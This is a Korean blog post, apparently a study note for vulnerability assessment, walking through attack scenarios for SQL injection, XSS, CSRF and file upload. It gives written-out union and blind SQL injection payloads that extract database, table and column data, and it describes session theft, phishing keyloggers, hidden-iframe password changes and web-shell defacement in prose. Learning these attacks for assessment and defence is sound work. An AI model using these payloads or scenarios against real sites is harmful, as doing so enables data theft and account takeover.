본문 바로가기

해킹/Web Hacking

주통기반 취약점 점검 리스트 별 시나리오

주통기반 취약점 점검 리스트를 살펴보자

 

 

 

 


SQL Injection

처음으로 살펴볼 것은 SQL Injection입니다.

SQL Injection은 사용자의 입력값이 SQL에 필터링 없이 전달될 경우 SQL 쿼리문에 사용되는 특수문자들이 사용자의 입력값에 포함되어 있다면 이 문자 또한 쿼리문의 일부처럼 동작하게 되는 취약점입니다.

입력값을 전송한 후 서버의 반응에 따라 union, error based, blind 등 다양한 유형의 공격을 할 수 있습니다.

대표적으로 union 형태와 blind 형태 공격 시나리오를 제시해보겠습니다.

 

* Union SQL Injection 시나리오

union은 두 가지의 select 구문을 연결시켜 실행시킬 수 있는 명령어입니다.

ex) 

(select ~~                         ) union ( select ~~~               )

(개발자가 만든 sql 질의문) union (내가 만든 sql 질의문)

처럼 union으로 연결시킨 뒤 select 문에 원하는 sql 질의문을 날릴 수 있습니다.

 

입력한 값이 그대로 화면에 출력되는 게시판의 경우는 UNION SQL Injection 공격을 통해 DB의 모든 정보를 출력시킬 수 있습니다. 공격의 난이도에 비해 파괴력이 커서 해커들이 자주 사용하는 기법입니다.

1. order by 를 통해 DB가 몇 개의 컬럼으로 이루어져 있는지 파악한다.

2. 검색어%' union select '1','2','3','4','5','6','7' # 구문을 이용해 각 인덱스가 어느 위치에 출력되는 지를 파악한다. (중요)

3. 출력되는 위치를 확인한 뒤, 검색어%' union select '1',database(),'3','4','5','6','7' # 구문을 이용해 데이터베이스 이름을 추출한다.

4. 검색어%' union select '1',table_name,'3','4','5','6','7' from information_schema.tables where table_schema='DB 이름' # 구문을 이용해서 테이블 이름을 추출한다.

5. 검색어%' union select '1',column_name,'3','4','5','6','7' from information_schema.columns where table_name='테이블 이름' # 구문을 이용해서 컬럼 이름을 추출한다.

6. 검색어%' union select '1',실제 컬럼 이름,'3','4','5','6','7' from '테이블 이름' # 구문을 이용해서 데이터를 뽑아낸다.

 

* Blind SQL Injection 시나리오

Blind SQL Injection은 SQL 질의문의 결과가 화면에 출력되지 않을 때 사용할 수 있습니다.

SQL 질의문이 True일 때/ False 일 때 나오는 반응이 다르다면 이 참 거짓을 이용해서

원하는 결과를 도출해낼 수 있습니다.

(로그인이나 아이디의 중복 확인 창 등에서 사용 가능합니다.)

사용되는 트릭은 limit 와 substring을 활용하는 구문입니다.

 

로그인 상황 > 

1. substring((SQL),1,1) 을 실행하면 SQL 질의문 결과의 첫 번째가 출력

    ex) substring('test',1,1)을 실행하면 원래 'test'라는 string이 나오는 결과의 1번째 글자인 t 만 출력

2. 로그인 SQL 틀 생성

    임의의 아이디' and (1=2) and '1'='1

    즉, 참' and (거짓) and ('참)

    의 형태입니다.

이 틀의 경우는 모든 구문이 and로 연결되어 있어서 1=2의 거짓 조건으로 인해 로그인 실패가 떠야함

저 중간 거짓 구문에 참을 넣게 되면 전체 구문이 참으로 변해 결과가 다르게 출력되어야 합니다.

3. 글자 테스트를 해봅니다.

    임의의 아이디' and ('test'='test') and '1'='1

 

    임의의 아이디' and (  (   ) ='test') and '1'='1

 

    임의의 아이디' and (  ( select 'test' ) ='test') and '1'='1

를 넣어서 select 문을 쓸 수 있는지 확인

4. 확인이 되면 ascii 테스트

    임의의 아이디' and ( ascii(' t ') > 0 ) and '1'='1

 

    임의의 아이디' and ( ascii( substring (' test ' , 1, 1 ) ) > 0 ) and '1'='1

 

    임의의 아이디' and ( ascii( substring ( select 'test' , 1, 1 ) ) > 0 ) and '1'='1

 

    임의의 아이디' and ( ascii( substring ( ( SQL ) , 1, 1 )) > 0 ) and '1'='1

 

5. SQL질의문이 삽입된다면 DB이름 추출

    임의의 아이디' and ( ascii( substring ( ( select database() ) , 1, 1 )) > 0 ) and '1'='1

여기서 > 0 부분의 숫자를 높이거나 낮춰가면서 업 다운 게임을 실행

1번째 글자에 대한 질의문이 끝나면 1,1의 숫자를 2,1로 높여서 다시 SQL 질의문 수행

이 질의문을 DB 이름 갯수만큼 반복하면 DB이름이 추출된다.

 

6. TABLE 이름 추출

TABLE 부터는 결과가 행렬의 형태로 출력되기 때문에 질의문 자체에도 limit 0,1 을 걸어줘야 합니다.

    임의의 아이디' and ( ascii( substring ( ( select table_name from information_schema.tables

    where table_schema ='DB이름' limit 0,1 ) , 1, 1 )) > 0 ) and '1'='1

이 틀을 이용해 업 다운 게임을 진행합니다. 반복문으로 업 다운 게임을 진행할 때는 > 0 부분의 숫자를 높이며 진행하고

1번째 글자를 찾아냈다면 limit 0,1이 아닌 해당 쿼리문 괄호 바깥의 1,1을 건드려야 2번째 글자도 찾아낼 수 있습니다.

limit 0,1 을 건드린다면 (예를 들어 limit 1,1이라고 한다면) 출력 결과의 행이 바껴 2번째 테이블에 해당하는 이름을 찾아냅니다.

 

7. Column 이름 추출

    임의의 아이디' and ( ascii( substring ( ( select column_name from

    information_schema.columns where table_name='테이블 이름'

    limit 0,1 ) , 1, 1 )) > 0 ) and '1'='1

 

8. 데이터 최종 추출

    임의의 아이디' and (ascii(substring( (select ~~~ from ~~~ limit 0,1), 1,1 )) > 0) and '1'='1

 

이 시나리오를 수동으로 진행한다면 데이터는 무조건 얻어낼 수 있지만 피로감이 많은 작업이므로 파이썬 같은 방법으로 자동화 툴을 만들어 실행하면 단시간 내에 데이터를 추출해낼 수 있습니다.

 

이 시나리오는 아이디 입력 횟수 제한이 있어도 통하는 시나리오입니다.

왜냐면 쿼리문이 바뀔 때마다 다른 아이디로 인식하기 때문에 횟수 제한을 우회할 수 있습니다.

 

그리고 상황에 따라 유도해내야 하는 참 / 거짓이 다릅니다.

로그인 상황이라면 올바른 참 값을 입력해야만 로그인 OK, 틀리면 FAIL이 뜨지만

아이디 중복체크 상황이라면 DB에 존재하지 않는 거짓값을 넣어야 통과, DB에서 데이터가 존재하면 FAIL이 뜹니다.

 

상황에 맞게 쿼리문을 조절해 나가는 것이 중요합니다.

 

XSS

다음으로 살펴볼 것은 XSS (크로스 사이트 스크립팅) 입니다.

XSS는 클라이언트 측 코드를 삽입해서 피해자의 브라우저에서 실행시키는 공격입니다.

세션 탈취나 키로거 삽입, 피싱 페이지 유도 등 다양한 공격으로 연계할 수 있는 위험한 공격입니다.

 

* 세션  탈취 시나리오

1. 세션은 같은 도메인 내에서 실행할 수 있습니다. 생뚱맞은 사이트에서 다른 사이트의 세션을 클릭하는 것만으로는 탈취를 보장할 수 없습니다. (사용자가 로그인 한 상태인지, 기록이 남아있는지가 확실하지 않으므로)

2. 게시판에서 (읽을 수 밖에 없는 유도성 글로) 링크를 클릭하게 합니다.

3. 이 링크는 같은 도메인 내에서 XSS 취약점을 가지는 파라미터를 GET으로 보내는 링크입니다.

    (물론 이 링크도 간소화되어 있거나 다른 링크인 것처럼 숨겨져 있습니다.)

4. 링크를 클릭하면 해당 도메인에서 클릭한 사용자가 가지는 세션을 공격자에게 전송하게 됩니다.

 

* 키로거 삽입 시나리오

1. 키로거는 사용자의 입력을 받아낼 수 있으므로 다른 사이트에서도 링크를 전송할 수 있습니다.

    (사용자의 입력을 유도할 수 있다면)

2. 이메일로 피싱 메일을 보냅니다. (읽을 수 밖에 없는 유도성 메일)

3. 링크를 클릭하면 아이디와 비밀번호를 입력하라는 창이 뜹니다. (피싱 페이지)

해당 이메일을 받고 링크를 클릭한 사용자는 본인의 아이디와 비밀번호를 입력하게 되고 그 값은 키로거에 의해 공격자의 서버로 전송됩니다.

 

해당 키로거 시나리오는 이메일이 아니라 링크를 삽입할 수 있는 게시판 등 사용자를 유도할 수 있는 공간이면 모두 유효합니다.

하지만 XSS로 삽입한 키로거는 해당 페이지를 벗어나면 사라지게 되므로 해당 페이지에서 입력값을 확실히 얻어낼 수 있어야 합니다.

 

 

CSRF

CSRF는 피해자의 세션을 활용해서 사용자가 의도치 않은 요청을 서버에 보내도록 하는 스크립트를 삽입하는 공격입니다.

세션을 활용하기 때문에 XSS와는 다른 공격 양상을 보입니다. (형태는 다르지만 특정 조건에서는 XSS와 연계가 가능합니다.)

마이 페이지 개인정보 수정, 원치 않는 상품 결제, 본인이 작성하지 않은 글 작성 등 여러 공격이 가능합니다.

 

* 마이 페이지 개인정보 수정 시나리오

이 시나리오에서는 특정 조건을 만족하는 게시판이라고 가정합니다.

<조건>

1) 공격에 사용되는 게시판은 < 나 > 등의 특수문자가 웹 페이지 코드의 일부로 동작합니다.

2) 그리고 정보가 수정될 해당 사이트의 마이페이지는 비밀번호를 검증해야 해당 페이지로 넘어가지만 불충분한 인가 때문에 바로 해당 페이지를 호출하면 페이지가 열립니다.

3 ) 게시판과 마이 페이지는 같은 도메인입니다.

 

1. 특정 게시판에 CSRF 코드를 삽입한 글을 작성합니다.

2. 해당 글은 글을 읽고싶도록 만든 자극적인 유도성 글입니다. 

3. 해당 글을 클릭하는 순간 iframe의 width와 height가 0으로 설정된 보이지 않는 창으로 인해 마이 페이지의 비밀번호가 수정됩니다. 하지만 사용자는 다시 로그인을 시도해보지 않는 한 그 사실을 알아차릴 수 없습니다. 

  (alert조차 뜨지 않는 코드를 삽입했으므로)

4. 게시판 글을 읽었을 때 클릭 여부를 공격자가 전송받는 코드까지 있다면 계정이 탈취될 수 있습니다.

 

* 의도치 않은 게시판 글 작성 시나리오

1. 특정 게시판에 CSRF 코드를 삽입한 글을 작성합니다.

2. 해당 글은 글을 읽고싶도록 만든 자극적인 유도성 글입니다.

3. 해당 글을 클릭하는 순간 본인 아이디로 공격자가 의도한 글을 작성하게 됩니다.

4. 해당 글은 의미없는 글을 작성할 수 있지만 원치않는 제품 홍보를 하게 된다던지, 

공격자가 심은 악의적인 코드가 포함된 글을 본인도 작성하게 되면서 악성코드를 퍼트리게 될 수 있습니다.

 

 

File Upload

파일 업로드 공격은 적절치 않은 확장자를 필터링 하지 않거나 파일이 DB가 아닌 서버 내부의 폴더에 저장될 때 생길 수 있는 취약점입니다.

한 줄 웹 쉘을 통해 소스코드를 탈취하거나 Deface 공격을 할 수 있습니다.

조금 더 나아가면 리버스 쉘을 연결하여 권한을 상승시키면 아예 서버를 종료시키거나 서버 컴퓨터 자체를 장악할 수 있는 위험한 공격입니다. 

 

리버스 쉘까지는 연결시키지 못해서 Deface 공격을 할 수 있는 시나리오를 제시하겠습니다.

 

* Deface 공격 시나리오

해당 공격은 /var/www/html 폴더에 대한 권한이 열려있을 때 가능합니다.

(sudo chmod 명령어가 웹 쉘에서 유효한지 아직 검증되지 않았습니다.)

 

1. php 코드를 업로드 합니다.

2. 프록시 툴을 이용해 파일이 업로드되는 경로를 파악합니다. (또는 개발자 도구에서 바로 알아낼 수도 있음)

3. 웹 쉘을 제외하고 Deface 공격에 이용될 이미지 파일과 img파일을 불러올 deface용 php 페이지 파일도 업로드 합니다.

 (결국 총 3개의 파일을 업로드 합니다.)

3. 업로드 된 php 웹 쉘을 실행시킵니다. 

4. 업로드 된 php 페이지를 mv 명령어를 이용해 /var/www/html 폴더로 이동시킵니다.

5. 이 때 php 페이지 이름은 웹 서비스에 사용되는 대문 페이지 이름과 동일하게 설정합니다.

  (기존의 대문 페이지는 rm 명령어로 삭제시키거나 mv 명령어로 아예 다른 이름으로 만들어놓습니다.)

6. 그럼 다른 사용자들이 해당 사이트에 접속하면 업로드 한 이미지를 마주하게 됩니다.